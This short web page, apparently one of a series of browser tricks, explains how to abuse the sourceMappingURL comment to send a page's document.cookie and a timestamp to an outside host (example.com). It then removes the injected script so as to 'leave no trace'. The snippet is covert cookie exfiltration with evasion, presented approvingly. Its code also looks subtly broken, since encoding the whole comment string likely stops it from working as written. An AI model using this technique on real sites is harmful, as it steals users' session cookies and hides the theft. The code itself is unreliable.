Construct a dynamic url to use as the sourceMapURL is powerful!

Source Map feature behaves interestingly since you can construct the url dynamically. That can be achieved by simply creating a script element and setting its textContent with a url that you can construct dynamically:

const script = document.createElement('script');
script.textContent = encodeURIComponent("//# sourceMappingURL=http://example.com/report?cookie=" + document.cookie + "&" + "timestamp=" + new Date());
document.head.appendChild(script);


And remove the script to leave no trace:

script.remove(); // that is right! the script doesn't even have to stay in DOM for this feature to work! how cool is that?!

back to menu